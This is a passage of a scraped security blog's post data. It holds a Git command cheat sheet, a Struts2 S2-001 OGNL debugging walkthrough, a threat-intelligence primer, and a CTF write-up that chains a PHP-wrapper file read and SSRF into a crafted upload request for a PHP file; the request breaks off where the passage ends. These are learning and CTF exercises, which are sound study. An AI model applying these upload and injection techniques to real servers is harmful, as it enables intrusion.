中打开一个文件。 考虑到课程的初衷,我弄了一个对话框来模拟这些操作。 当 rebase UI界面打开时, 你能做3件事: 调整提交记录的顺序(通过鼠标拖放来完成)删除你不想要的提交(通过切换 pick 的状态来完成,关闭就意味着你不想要这个提交记录)合并提交。 遗憾的是由于某种逻辑的原因,我们的课程不支持此功能,因此我不会详细介绍这个操作。简而言之,它允许你把多个提交记录合并成一个。 0x04 杂项本地栈式提交看一个在开发中经常会遇到的情况:我正在解决某个特别棘手的 Bug,为了便于调试而在代码中添加了一些调试命令并向控制台打印了一些信息。 这些调试和打印语句都在它们各自的提交记录里。最后我终于找到了造成这个 Bug 的根本原因,解决掉以后觉得沾沾自喜! 最后就差把 bugFix 分支里的工作合并回 master 分支了。你可以选择通过 fast-forward 快速合并到 master 分支上,但这样的话 master 分支就会包含我这些调试语句了。你肯定不想这样,应该还有更好的方式…… 实际我们只要让 Git 复制解决问题的那一个提交记录就可以了。跟之前我们在“整理提交记录”中学到的一样,我们可以使用 12git rebase -igit cherry-pick 来达到目的。 提交的技巧 #1接下来这种情况也是很常见的:你之前在 newImage 分支上进行了一次提交,然后又基于它创建了 caption 分支,然后又提交了一次。 此时你想对的某个以前的提交记录进行一些小小的调整。比如设计师想修改一下 newImage 中图片的分辨率,尽管那个提交记录并不是最新的了。 我们可以通过下面的方法来克服困难: 先用 git rebase -i 将提交重新排序,然后把我们想要修改的提交记录挪到最前 然后用 commit –amend 来进行一些小修改 接着再用 git rebase -i 来将他们调回原来的顺序 最后我们把 master 移到修改的最前端(用你自己喜欢的方法),就大功告成啦! 当然完成这个任务的方法不止上面提到的一种(我知道你在看 cherry-pick 啦),之后我们会多点关注这些技巧啦,但现在暂时只专注上面这种方法。 最后有必要说明一下目标状态中的那几个' —— 我们把这个提交移动了两次,每移动一次会产生一个 ';而 C2 上多出来的那个是我们在使用了 amend 参数提交时产生的,所以最终结果就是这样了。 也就是说,我在对比结果的时候只会对比提交树的结构,对于 ' 的数量上的不同,并不纳入对比范围内。只要你的 master 分支结构与目标结构相同,我就算你通过。 提交的技巧 #2 使用cherry-pick而不是rebase Git Tags相信通过前面课程的学习你已经发现了:分支很容易被人为移动,并且当有新的提交时,它也会移动。分支很容易被改变,大部分分支还只是临时的,并且还一直在变。 你可能会问了:有没有什么可以永远指向某个提交记录的标识呢,比如软件发布新的大版本,或者是修正一些重要的 Bug 或是增加了某些新特性,有没有比分支更好的可以永远指向这些提交的方法呢? 当然有了!Git 的 tag 就是干这个用的啊,它们可以(在某种程度上 —— 因为标签可以被删除后重新在另外一个位置创建同名的标签)永久地将某个特定的提交命名为里程碑,然后就可以像分支一样引用了。 更难得的是,它们并不会随着新的提交而移动。你也不能检出到某个标签上面进行修改提交,它就像是提交树上的一个锚点,标识了某个特定的位置。 咱们来看看标签到底是什么样。 Git Describe由于标签在代码库中起着“锚点”的作用,Git 还为此专门设计了一个命令用来描述离你最近的锚点(也就是标签),它就是 git describe! Git Describe 能帮你在提交历史中移动了多次以后找到方向;当你用 git bisect(一个查找产生 Bug 的提交记录的指令)找到某个提交记录时,或者是当你坐在你那刚刚度假回来的同事的电脑前时, 可能会用到这个命令。 0x05 RemoteGit clone Git FetchGit 远程仓库相当的操作实际可以归纳为两点:向远程仓库传输数据以及从远程仓库获取数据。既然我们能与远程仓库同步,那么就可以分享任何能被 Git 管理的更新(因此可以分享代码、文件、想法、情书等等)。 本节课我们将学习如何从远程仓库获取数据 —— 命令如其名,它就是 git fetch。 Git Pull Git fakeTeamwork master Git Push 历史分支(实用) 0x06 总结123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129git branch 查看本地所有分支git status 查看当前状态git commit 提交git branch -a 查看所有的分支git branch -r 查看远程所有分支git commit -am "init" 提交并且加注释git remote add origin git@192.168.1.119:ndshowgit push origin master 将文件给推到服务器上git remote show origin 显示远程库origin里的资源git push origin master:developgit push origin master:hb-dev 将本地库与服务器上的库进行关联git checkout --track origin/dev 切换到远程dev分支git branch -D master develop 删除本地库developgit checkout -b dev 建立一个新的本地分支devgit merge origin/dev 将分支dev与当前分支进行合并git checkout dev 切换到本地dev分支git remote show 查看远程库git add .git rm 文件名(包括路径) 从git中删除指定文件git clone git://github.com/schacon/grit.git 从服务器上将代码给拉下来git config --list 看所有用户git ls-files 看已经被提交的git rm [file name] 删除一个文件git commit -a 提交当前repos的所有的改变git add [file name] 添加一个文件到git indexgit commit -v 当你用-v参数的时候可以看commit的差异git commit -m "This is the message describing the commit" 添加commit信息git commit -a -a是代表add,把所有的change加到git index里然后再commitgit commit -a -v 一般提交命令git log 看你commit的日志git diff 查看尚未暂存的更新git rm a.a 移除文件(从暂存区和工作区中删除)git rm --cached a.a 移除文件(只从暂存区中删除)git commit -m "remove" 移除文件(从Git中删除)git rm -f a.a 强行移除修改后文件(从暂存区和工作区中删除)git diff --cached 或 $ git diff --staged 查看尚未提交的更新git stash push 将文件给push到一个临时空间中git stash pop 将文件从临时空间pop下来------------------------------git remote add origin git@github.com:username/Hello-World.gitgit push origin master 将本地项目给提交到服务器中------------------------------git pull 本地与服务器端同步------------------------------git push (远程仓库名) (分支名) 将本地分支推送到服务器上去。git push origin server fix:awesome branch------------------------------git fetch 相当于是从远程获取最新版本到本地,不会自动mergegit commit -a -m "log_message" (-a是提交所有改动,-m是加入log信息) 本地修改同步至服务器端 :git branch branch_0.1 master 从主分支master创建branch_0.1分支git branch -m branch_0.1 branch_1.0 将branch_0.1重命名为branch_1.0git checkout branch_1.0/master 切换到branch_1.0/master分支du -hsgit branch 删除远程branchgit push origin:branch_remote_namegit branch -r -d branch_remote_name------------------------------初始化版本库,并提交到远程服务器端mkdir WebAppcd WebAppgit init本地初始化touch READMEgit add README添加文件git commit -m 'first commit'git remote add origin git@github.com:patrilic/test.git增加一个远程服务器端","categories":[{"name":"Skills","slug":"Skills","permalink":"http://patrilic.top/categories/Skills/"}],"tags":[{"name":"Git","slug":"Git","permalink":"http://patrilic.top/tags/Git/"}]},{"title":"S2-001 调试日记","slug":"S2-001 调试日记","date":"2019-08-14T18:11:50.000Z","updated":"2019-08-20T15:29:42.177Z","comments":true,"path":"2019/08/15/S2-001 调试日记/","link":"","permalink":"http://patrilic.top/2019/08/15/S2-001 调试日记/","excerpt":"","text":"@ Author: Patrilic@ Time: 2019-8-15 02:11:50 0x00 前言太菜了,马上进入大三了,最近java的中间件也陆陆续续的爆了很多洞,然后之前也经常接触类似于Weblogic反序列化、struts2命令执行之类的漏洞。借着重刷了一遍Fate Stay Night 06版,睡不着觉,干脆就来开始人生中第一个S2漏洞分析 0x01 漏洞链接https://cwiki.apache.org/confluence/display/WW/S2-001影响版本: WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8 0x02 环境搭建struts2包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip 搭建平台: MacOS Mojave 10.14.5使用工具: IntelliJ IDEATomcat版本:Apache Tomcat 8.5.16 - MxSrvs自带 首先New一个Project 将需要的jar包放入/WEB-INF/lib目录下12345commons-logging-1.0.4.jarfreemarker-2.3.8.jarognl-2.6.11.jarstruts2-core-2.0.8.jarxwork-2.0.3.jar 创建index.jsp文件12345678910111213141516171819<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%><%@ taglib prefix=\"s\" uri=\"/struts-tags\" %><!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"><html><head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-001\">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action=\"login\"> <s:textfield name=\"username\" label=\"username\" /> <s:textfield name=\"password\" label=\"password\" /> <s:submit></s:submit></s:form></body></html> 创建welcome.jsp文件12345678910111213<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%><%@ taglib prefix=\"s\" uri=\"/struts-tags\" %><!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"><html><head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>S2-001</title></head><body><p>Hello <s:property value=\"username\"></s:property></p></body></html> 在src目录下创建Package com.demo.action然后创建class1234567891011121314151617181920212223242526272829303132333435package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return \"error\"; } if ((this.username.equalsIgnoreCase(\"admin\")) && (this.password.equals(\"admin\"))) { return \"success\"; } return \"error\"; }} 导入包File->Project Structure 然后设置好tomcat配置就可以Run了 如果遇到java.lang.IllegalStateException: struts.properties missing的问题检查一下自己创建的包名或者类名是否与struts.xml中配置的一致 漏洞环境就已经搭好了 0x03 OGNL表达式基本概念 OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 ——-百度百科 OGNL的三要素: 一、表达式: 表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式,如“链式访问对象”、表达式计算、甚至还支持Lambda表达式。 二、Root对象: OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。 三、上下文环境: 有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了,如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构,称之为OgnlContext。Root对象也会被添加到上下文环境当中去。 Ognl表达式语言的作用jsp页面取值用EL表达式语言,也用于页面取值,是jsp页面取值的标准(默认就可以使用)Ognl表达式语言,Struts标签默认支持的表达式语言,必须配置Struts标签用,不能离开Struts标签直接使用,就是说Ognl必须在Struts中使用对比来看,EL使用范围更广,项目中不限制使用哪一种,哪一种熟悉就使用哪一种 OGNL 的基本语法 对Root对象的访问OGNL使用的是一种链式的风格进行对象的访问 12User user = new User(\"rcx\", \"123\");System.out.println(Ognl.getValue(\"name\", user)); 对上下文对象的访问使用OGNL的时候如果不设置上下文对象,系统会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。当访问上下文环境当中的参数时候,需要在表达式前面加上’#’,表示了与访问Root对象的区别 1234User user = new User(\"rcx\", \"123\");Map<String, Object> context = new HashMap<String, Object>();context.put(\"user\", user);System.out.println(Ognl.getValue(\"#user.name\", context, user)); 对静态变量的访问在OGNL表达式当中也可以访问静态变量或者调用静态方法,格式如@[class]@[field/method()]。 12Object object = Ognl.getValue(\"@com.rcx.ognl.Constant@ONE\", null);System.out.println(object); 方法的调用如果需要调用Root对象或者上下文对象当中的方法也可以使用.+方法的方式来调用。甚至可以传入参数。 12345678User user = new User();Map<String, Object> context = new HashMap<String, Object>();context.put(\"name\", \"rcx\");context.put(\"password\", \"password\");System.out.println(Ognl.getValue(\"getName()\", context, user));Ognl.getValue(\"setName(#name)\", context, user);System.out.println(Ognl.getValue(\"getName()\", context, user)); 对数组和集合的访问OGNL支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于Map支持使用键进行访问 1234567891011121314151617181920User user = new User();Map<String, Object> context = new HashMap<String, Object>();String[] strings = {\"aa\", \"bb\"};ArrayList<String> list = new ArrayList<String>();list.add(\"aa\");list.add(\"bb\");Map<String, String> map = new HashMap<String, String>();map.put(\"key1\", \"value1\");map.put(\"key2\", \"value2\");context.put(\"list\", list);context.put(\"strings\", strings);context.put(\"map\", map);try{ System.out.println(Ognl.getValue(\"#strings[0]\", context, user)); System.out.println(Ognl.getValue(\"#list[0]\", context, user)); System.out.println(Ognl.getValue(\"#list[0 + 1]\", context, user)); System.out.println(Ognl.getValue(\"#map['key1']\", context, user)); System.out.println(Ognl.getValue(\"#map['key' + '2']\", context, user)); } ... 投影与选择OGNL支持类似数据库当中的选择与投影功能。投影:选出集合当中的相同属性组合成一个新的集合。语法为collection.{XXX},XXX就是集合中每个元素的公共属性。 选择:选择就是选择出集合当中符合条件的元素组合成新的集合。语法为collection.{Y XXX},其中Y是一个选择操作符,XXX是选择用的逻辑表达式。 选择操作符有3种: ? :选择满足条件的所有元素 ^:选择满足条件的第一个元素 $:选择满足条件的最后一个元素 12345678Person p1 = new Person(1, \"name1\");Map<String, Object> context = new HashMap<String, Object>();ArrayList<Person> list = new ArrayList<Person>();list.add(p1);context.put(\"list\", list);ArrayList<Integer> list2 = (ArrayList<Integer>) Ognl.getValue(\"#list.{id}\",context,list);System.out.println(list2); 创建对象OGNL支持直接使用表达式来创建对象。主要有三种情况:构造List对象:使用{},中间使用’,’进行分割如{“aa”, “bb”, “cc”}构造Map对象:使用#{},中间使用’,进行分割键值对,键值对使用’:’区分,如#{“key1” : “value1”, “key2” : “value2”}构造任意对象:直接使用已知的对象的构造方法进行构造。 123456Map<String, String> map = (Map<String, String>)Ognl.getValue(\"#{'key1':'value1'}\", null);System.out.println(map);List<String> list = (List<String>)Ognl.getValue(\"{'key1','value1'}\", null);System.out.println(list);Object object = Ognl.getValue(\"new java.lang.Object()\", null);System.out.println(object); 0x04 漏洞验证 0x05 漏洞分析 Tomcat容器处理后,将http请求发送至struts2,然后分两个阶段: 第一阶段: St2对请求进行预处理,这个阶段主要是St2和web容器打交道,把http请求封装成java对象.为真正的业务逻辑执行做必要的数据环境和运行环境的准备 第二阶段:XWork,执行具体的业务逻辑. 首先来了解一下拦截器 java里的拦截器是动态拦截Action调用的对象,它提供了一种机制可以使开发者在一个Action执行的前后执行一段代码,也可以在一个Action执行前阻止其执行,同时也提供了一种可以提取Action中可重用部分代码的方式。在AOP中,拦截器用于在某个方法或者字段被访问之前,进行拦截然后再之前或者之后加入某些操作。目前,我们需要掌握的主要是Spring的拦截器,Struts2的拦截器不用深究,知道即可。 在struts.xml里下一个拦截器,然后在struts_defalut.xml里能找到它拦截的class 第87行、把传入的参数打入到值栈中,我们在这里下断点继续往下,97行,带入到invocation.invoke() 继续跟步入executeResult() 然后步入dispatcher.forward() 调试到这里又到了index.jsp然后就是在org.apache.struts2.views.jsp.ComponentTagSupport解析标签然后步入evaluateParams()继续执行到altSyntax(),这个方法返回true,根据https://cwiki.apache.org/confluence/display/WW/Alt+Syntax,altSyntax默认开启,为了动态的改变标签属性的值,它允许执行标签属性中的OGNL表达式. 同时,为了不过多的引入单引号,可以使用”%{…}”的形式来写入表达式. 此后o为%{1+1},再对o进行了一番处理后,payload经过result变量,最终成为expression的值: 最后Object o = stack.findValue(var, asType);执行payload 0x06 总结其实这个漏洞还是挺简单的,写的很乱,但是确实是跟着几篇文章一步一步自己跳出来的,也算是第一个调的java漏洞了,学到很多调试技巧,膜一下chybeta师傅.. 0x07 链接https://03i0.com/2018/04/08/S2-001%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/ https://www.kingkk.com/2018/08/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0struts2-S2-001/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8 https://xz.aliyun.com/t/2044","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"Struts2","slug":"Struts2","permalink":"http://patrilic.top/tags/Struts2/"}]},{"title":"初识威胁情报","slug":"初识威胁情报","date":"2019-08-14T15:32:22.000Z","updated":"2019-08-20T15:30:37.034Z","comments":true,"path":"2019/08/14/初识威胁情报/","link":"","permalink":"http://patrilic.top/2019/08/14/初识威胁情报/","excerpt":"","text":"@Author: Patrilic@Time: 2019-08-14 23:32:22 0x00 前言自从把学习重心偏向RedTeam相关之后,一直想学习关于威胁情报的东西,平时也会在微步社区之类的地方去看一些关于威胁的分析报告。今天晚上终于空了下来,准备好好的沉淀一下,最近发生很多事情,并且接了个项目,一直在忙,这几天就好好的沉静下来去系统认识一下这个东西 0x01 相关概念定义翻了很多文章,大多数都是认为威胁情报的定义为Gartner在2014年发表的《安全威胁情报服务市场指南》 基于一定知识的证据,已经存在或正在形成的潜在威胁,比如,上下文、机制、指标、意义以及可实施的建议,利用这些,可以帮助当事人形成应对这些危险的决策。 the-pyramid-of-pain这个金字塔非常明显的展示了关于情报和利用的困难度对应的关系,同时也和情报的价值相关 从下往上看:Hash Value:Hash值是一个文件的唯一凭证,类似于我们在VirusTotal中提交样本那串hash,但是如果文件中有一点东西被改变了,都会导致这个文件的Hash值变得不同,所以反而,一个样本的hash也是最不值得跟踪的,当然价值也最低。 Ip Addresses:IP地址,如果攻击者常用的Pentest Server被记录下来的话,也有一定的价值,不过目前来说,绝大部分人使用C2域名来隐藏自己的攻击,同时使用CDN/代理之类的手段的来不停的变换自己的IP,来绕过跟踪。 Domain Names:域名的话是现在大多数隐蔽攻击的方式,注册一个类似域名,配合使用鱼叉攻击的工具可以达到邮件钓鱼之类的目的。域名的话需要注册,备案,然后与服务器进行绑定,所以准备的东西还是比较多的。但是这种方式隐蔽攻击的效果也较好,特别是如果存在Subdomain Takeover这样的漏洞,效果非常的棒。但是在大型APT行动中,攻击者也会准备大量域名,所以这个的价值就显得不是特别的高了。 深入解析子域名接管(Subdomain Takeover)漏洞 Network/Host Artifacts:顾名思义,这一层是网络与主机特征,这里特征并不单单包括攻击者的各种主机信息,例如访问的特定UA头等,还包括了攻击者所获得的账号密码,例如从某一个VPN账号连接至内网,然后又从某一台出口机器走出的流量等。 Tools:特定组织/单独的黑客通常会使用相同或相似的方法进行攻击,获得了使用的工具特征,就能进行针对性的免杀等,让攻击者增加成本TTPs:Tactics、Techniques & Procedures,TTPs在攻击方也是最重要的,指所使用的攻击策略、手法等,了解了一个组织的TTPs,就能明白攻击者所利用的具体漏洞,然后去防御。 分类这里推一波@e1knot师傅在Defcon Group上的演讲PPT 👉 https://www.slideshare.net/JeremyLi10/discover-advanced-threats-with-threat-intelligence-jeremy-li 传统分类来看,威胁情报分为: 战术情报 战略情报 运营情报 战术级情报:战术情报的作用主要是发现威胁事件以及对报警确认或优先级排序。常见的失陷检测情报(CnC 情报,即攻击者控制被害主机所使用的远程命令与控制服务器情报)、IP情报就属于这个范畴,它们都是可机读的情报,可以直接被设备使用,自动化的完成上述的安全工作。 运营级情报:运营级情报是给安全分析师或者说安全事件响应人员使用的,目的是对已知的重要安全事件做分析(报警确认、攻击影响范围、攻击链以及攻击目的、技战术方法等)或者利用已知的攻击者技战术手法主动的查找攻击相关线索。 战略级情报:战略层面的威胁情报是给组织的安全管理者使用的,比如CSO。它能够帮助决策者把握当前的安全态势,在安全决策上更加有理有据。包括了什么样的组织会进行攻击,攻击可能造成的危害有哪些,攻击者的战术能力和掌控的资源情况等,当然也会包括具体的攻击实例。 —————————-手动分割线——————————– 然后@e1knot师傅在知乎专栏中提到了另一种分类方式,在我看来这种也是更加容易理解的(赞) 👉 https://zhuanlan.zhihu.com/p/30105006 大概就是分为如下几种类型: IP/Domain 信誉类情报 网络通信流量数据 事件分类(Incident Pulse)数据 蜜罐数据 被动流量解析(Passive DNS)数据 (相信各位渗透测试工作者也常常在实战中遇到蜜罐这类东西,稍不注意就会把自己常用的姿势和手段“送”给企业) IP/Domain 信誉类情报:经常逛微步社区或者用它来找过dns解析之类的师傅肯定也会发现,IP或者域名会被打上各种标签,例如: 以下平台可以供我们方便的查询到这个IP/Domaini是不是已经被列为恶意IP/Domain,或者他在某一段时间是否是被恶意攻击者攻陷等。 微步在线 - https://x.threatbook.cn 奇安信威胁情报中心 - https://ti.qianxin.com/ RiskIQ Community - https://community.riskiq.com 但是由于不同的威胁平台的检测可能不同,导致结果可能有偏差等。所以相对其他的,反而成为了相对最没有价值的情报 网络通信流量数据:这里指从大网上采集的数据,也就是我们俗称的外网数据。主要是看目标服务器的流量波动,比如如果在某一个端口上的流量在一段时间剧增,可能存在被入侵的风险 事件分类:这里提一下两个概念: CERT:Computer emergency response team 维基百科:wiki CIRT:Critical Incident Response Team 维基百科:wiki 具体可以查看后面的维基百科链接进行了解然后是事件分类大概就是,将威胁情报的基础数据进行打包分类,然后封装成一个个的事件。这种情报的好处在哪里呢,一个是可以基本全面的进行威胁分析,然后提前预警。然后同时也可以更快的发现事件。然后厂商经过整理后,可以通过订阅的方式进行预警,同时收取订阅费用。例如: 微步在线 Alienvault OTX https://otx.alienvault.com IBM X-Force Exchange https://exchange.xforce.ibmcloud.com/ 蜜罐数据:这个东西没什么好说的,就是企业部署在内网或者外网(很少)的一些看似薄弱点,引诱攻击者进行攻击,暴露自己的行为特征甚至是TTP 然后最近冰总社区里发了个挺好玩的开源蜜罐:👉 https://bithack.io/forum/484 被动流量解析:其实就是被动DNS(Passive DNS),也是一种比较老的技术了,但是依然很常用,特别是溯源内网恶意流量的时候..下面这几篇文章讲的很详细了~就不多讲了 How to Use Passive DNS to Inform Your Incident Response What is Passive DNS? A beginner’s guide Passive DNS 生命周期 《Market Guide for Security Threat Intelligence Service》 – Gartner . 2014 在业界接受较广,而他认为情报是过程的产物,而非独立数据点的合集。Gartner刻画了威胁情报的生命周期: 定向:定义目标并完善 收集:从多种开放或封闭的源收集数据;电子的、人工的 处理:如有需要,翻译;进行可靠性评估;核对多个源 分析:判断此信息的意义;评估信息的重要性;推荐相应措施 传递:将情报传递给客户 反馈:依照需求调整 意义同样也是@e1knot师傅文章中提到的,威胁情报在安全运营体系中的定位是——辅助发现潜在的或正在发起的恶意行为或操作,重点在于辅助两个字,威胁情报严格意义上来说只能有限的感知潜在的威胁,换句话说:如果有人现在瞄准的目标全部都是能源类客户,那么威胁情报就可以提醒没有被攻击的客户可能会遭受到该攻击者的攻击,这个叫做有限的感知潜在的威胁。 0x02 分析模型https://www.slideshare.net/JeremyLi10/application-of-threat-intelligence-in-security-operation?utm_source=slideview&utm_medium=ssemail&utm_campaign=first_clip 既然威胁情报是个辅助手段,所以,我们通过使用威胁情报进行分析,才是最主要的。这里目前用的比较多的就是两大模型: Kill Chain Diamond Model 但是我觉得现在应该再加一个ATT&CK矩阵,比如以最出名的MITRE ATT&CK举例,里面基本上集合了绝大部分的入侵模型。👉 MITRE ATT&CK Kill-Chain模型这个模型其实和PTES比较相似,做渗透比较多的同学应该都比较了解了 侦查阶段:扫描目标IT资产和信息收集,比如说Google Hacking这些侦查类型的攻击 武器化阶段:将前一阶段发现和扫描到漏洞的信息整合到一起并制作针对性的武器(当然国内的嘛,你懂得) 部署阶段:将这些武器或者是远控RAT部署到对应的Compromised Servers上 攻击阶段:使用这些Compromised Servers和之前做好的武器化工具对目标发起攻击 后门种植阶段:安装远程控制的服务和进程 远控阶段:让目标和C&C通信 后渗透阶段:收割、继续横向渗透入侵 还是给一个链接:pentest-standardPTES基本流程: Pre-engagement Interactions Intelligence Gathering Threat Modeling Vulnerability Analysis Exploitation Post Exploitation Reporting Kill-Chain模型基本上就是描述了攻击者的进攻路线,但是并不能明确的说明造成的影响和目的。 Diamond Model模型钻石模型是一个针对单个事件分析的模型,核心就是用来描述攻击者的技战术和目的,具体的钻石模型如下图所示: 钻石模型由三部分组成:置信度、元数据、社会-政治影响和技战术组合 社会政治影响:处于钻石模型上下两个顶点,上顶点表示攻击者,下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因,纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。 技战术组合:技战术组合位于整个钻石模型的横切面,横切面的两个顶点分别为基础设施和技术能力,这里的基础设施和技术能力其实都是相对于攻击者而言的。 元数据:这个其实就是左边列出来的,攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。 置信度:也就是以上你分析出结果的可信程度。 钻石模型想要表达的其实就是针对单个安全事件,我们可以得到攻击者为什么想要攻击目标,打算用什么手段去攻击目标。 Kill-Chain + Diamond Model直接举个例子@e1knot师傅给的例子: 复杂的攻击往往都是有一系列的攻击事件组成的,不同的攻击事件指向的目标和达到的目的可以表示出攻击的进程,那么OK,我们如果把事件按照Kill-Chain进行分类同时使用泳道图进行表示,同时把不同的攻击路线分为不同的攻击线程,那么我们就可以得到一个这样的泳道图。其实这张图描述的是这么一个事件:12345678910111213141.攻击者先对目标进行了Google Hacking操作,获得了他们域名解析记录等一些基础的It信息2.攻击者找到了一个目标新注册的域名,然后用搜索引擎搜索他们的网络管理员的电子邮件信息3.攻击者使用鱼叉邮件方式对目标的网络管理员发送一封带有木马的邮件4.目标的网管(我们叫他网管一号)打开了这封邮件的附件然后不幸中枪5.网管一号的主机因为中了病毒,所以攻击者利用网管一号这台主机发送了一个HTTP Post请求到域控节点,然后域控节点返回了一个HTTP Response6.我们通过对鱼叉邮件中附件进行逆向分析发现里面有两个IP地址,第二个IP地址作为备份,防止第一个失效7.通过C&C请求到网管一号的主机,我们的恶意程序打开了一个TCP代理服务8.通过网管一号主机上的代理服务,攻击者继续去Google上搜索其他的目标9.攻击者检查网管一号邮件的通信录列表去寻找是否拥有目标二号的通讯方式,结果发现了目标二号的首席科学家的联系方式10.攻击者使用攻陷的网管一号的邮箱对目标二号的首席科学家的邮箱发起鱼叉邮件攻击,工具使用和之前一样的11.此时又来了一个攻击者,我们称他为攻击者二号,攻击者一号扫描了目标三号的web服务器12.使用同样的漏洞利用工具攻击发现目标三号主机上的相同的漏洞13.被攻陷的目标三号主机返回一个shell会话给攻击者三号14.目标三号的所有数据被攻击者三号窃取 这样的话使用Kill-Chain和钻石模型分析可以同时get到攻击者的点和想要攻击的目标,同时还知道了他的攻击路径,也就是说这时候我们对攻击者了如指掌了。 ATT&CK Matrix for Enterprise这个是我自己加上去的,同时也是平时去了解红队TTP的好地方 0x03 总结学习上面的知识也有一点自己的想法,威胁情报作为态势感知的一种,不仅能够让企业针对性的进行防御,同时也能够让运营看到自己的一些盲点,能够跟好的进行企业安全建设相关的方面(说到这里也不得不赞叹谷歌的0信任,真的太牛逼了),威胁情报能做的事情还是很多的,我自己整理之后觉得有以下几个方向: 1. 企业安全建设相关 2. 学习运营盲点 3. 溯源攻击 4. 全球共享情报,增加入侵成本 5. 学习新的攻击手段,收集0day(蜜罐) 6. …… 最后,e1knot师傅tql 0x04 链接使用威胁情报调查攻击者 使用威胁情报追踪攻击者——Part 2 高级威胁事件分析与防御矩阵 浅析威胁情报浅谈高级威胁情报对于安全建设的意义与思考(上)—攻击者情报那些不得不说的事儿浅谈高级威胁情报对于安全建设的意义与思考(中)—基础设施情报那些不得不说的事儿浅谈高级威胁情报对于安全建设的意义与思考(下)—事件情报那些不得不说的事儿","categories":[{"name":"Threat Intelligence","slug":"Threat-Intelligence","permalink":"http://patrilic.top/categories/Threat-Intelligence/"}],"tags":[{"name":"威胁情报","slug":"威胁情报","permalink":"http://patrilic.top/tags/威胁情报/"}]},{"title":"CISCN 2019 Final Web11 赛后复盘","slug":"CISCN 2019 Final Web11","date":"2019-07-28T07:08:02.000Z","updated":"2019-08-20T15:26:59.716Z","comments":true,"path":"2019/07/28/CISCN 2019 Final Web11/","link":"","permalink":"http://patrilic.top/2019/07/28/CISCN 2019 Final Web11/","excerpt":"","text":"@Author: Patrilic@Time: 2019-07-18 11:20:33比赛的时候熬了一万年,只看到了一个本地请求,都不知道这个ssrf怎么利用,哎,还是要好好学逆向(吐血) 题目信息题目链接:http://web65.buuoj.cn/ (推一手北联合师傅的平台)题目源码:https://github.com/imagemlt/CISCN_2019_final_pmarkdown.git Write up上传文件显示只能localhost上传,并且使用$SERVER[‘Remote-addr’]来获取ip感觉只能采用ssrf之类的方式去上传文件,但是一直没get到点 http://web65.buuoj.cn/index.php?act=post&md=readme.mdmd参数存在任意文件读取,可以利用php伪协议读源码 然而并没有什么用,比赛的时候就一直卡在这里。一直在想怎么去绕过,然后比赛给了提示:121. SSRF2. .htaccess .htaccess可以看到他让.md格式解析成了php 但是ssrf又怎么去看呢,源码里肯定没有,问题应该出在.so文件里post.php里调用了 pmark_include() 函数 而在readme.md里是能把so文件下下来的打开IDA分析一波 sub_1850里存在一个Http包,会以127.0.0.1的身份去request 往上找调用1int zend_hash_find ( HashTable* ht, char* arKey, uint nKeyLength, void** pData ) v15: debug 参数为debug,利用ssrf上传即可 所以可以直接构造payload:12345678910111213141516171819POST /upload.php HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh,en-US;q=0.7,en;q=0.3Referer: http://127.0.0.1:8080/index.php?act=uploadContent-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797Content-Length: 244Connection: closeUpgrade-Insecure-Requests: 1-----------------------------6693638881479522630623693797Content-Disposition: form-data; name="file"; filename="test.php"Content-Type: 